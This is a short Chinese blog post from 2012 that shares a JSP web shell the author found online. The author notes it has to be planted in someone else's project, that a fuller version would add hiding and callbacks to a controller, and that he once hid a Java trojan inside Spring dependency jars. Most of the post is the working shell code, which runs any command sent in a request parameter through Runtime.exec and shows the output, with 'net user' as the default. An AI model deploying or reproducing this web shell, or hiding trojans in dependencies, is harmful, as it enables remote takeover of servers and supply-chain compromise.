发一个 JSP 木马

发一个大学时期在网上找到的 jsp 木马

怎么用?具体的不太清楚,但肯定要让别人部署到他们的项目中去。

而且,这个仅仅是一个草案。

更加完善的应该包括,隐藏,通知控制端,。。等等

以前写过一个 java 木马,我直接将木马模块给混在 spring 的依赖 jar 包里面了。

当然,我并没有去害过谁,我只是自己测试了一下,觉得蛮有意思的。

废话不多说,上代码:

<!--实现cmd功能的JSP小木马(作者:荔明奇(xgym))-->
<%@ page contentType="text/html;charset=gb2312"%>

<!--编码方式为gb2312(中文),否则会出现中文显示为乱码的情况-->
<%@ page import="java.io.*"%>
<!--引入java.io.*包文件,因为我们需要StringBuffer之类的I/O操作-->
<%
	//定义一个字符串变量strCmd_in,且这个变量是从cmd对象中获取到的值;request是JSP中内置的对象,用来获取对象的值。
	String strCmd_in = request.getParameter("cmd");

	//定义字符串初始值为空的变量myLine,myLine是我们在界面输入框中的命令
	String myLine = "";

	//定义一个Buffer,用来读取我们的输入框中的命令并返回结果
	StringBuffer strBufCmd = new StringBuffer("");

	//如果strCmd_in不为Null就执行
	if (strCmd_in != null)
	{ /* java非常先进的地方之一就是引入了异常处理机制(try/catch),这样调试程序就显得非常轻松了,而且我们编写出来的程序也安全了很多*/
		try
		{ //新建一个Process对象,利用Runtime执行(exec)获取到的命令,其实最主要的一句就是这个了,唯一最主要的方法了
			Process pro = Runtime.getRuntime().exec("cmd /c " + strCmd_in);

			//新建一个BufferedReader对象,用来读取我们输入的命令
			BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
			while ((myLine = buf.readLine()) != null)
			{
				//获取到的命令追加到变量myLine后面并换行
				strBufCmd.append(myLine + "\r\n");
			}
		}
		catch (Exception e)
		{
			//如果发生异常就打印出来
			System.out.println(e.toString());
		}
	}
	else
	{ //默认为我们的输入框中的命令
		strCmd_in = "net user";
	}
%>

<!--定义一个表单名称为cmd,method为post-->
<form name="cmd" action="" method="post">
	<!--空格-->
	<!--定义一个text类型的对象,用来做我们输入的框-->
	<input type="text" name="cmd" value="<%=strCmd_in%>" size=50>
	<!--提交我们的命令-->
	<input type=submit name=submit value="执行命令">
</form>
<%
	if (strBufCmd != null && strBufCmd.toString().trim().equals("") == false)
	{
%>
<!--空格-->
<!--定义一个TEXTAREA类型的返回界面框,默认是20列-->
<TEXTAREA NAME="MyView" ROWS="20" COLS="100%"><%=strBufCmd.toString()%></TEXTAREA>
<br>
<!--空格-->
<%
	}
%>

 

posted on 2012-06-03 09:22  yang3wei  阅读(543)  评论(0编辑  收藏  举报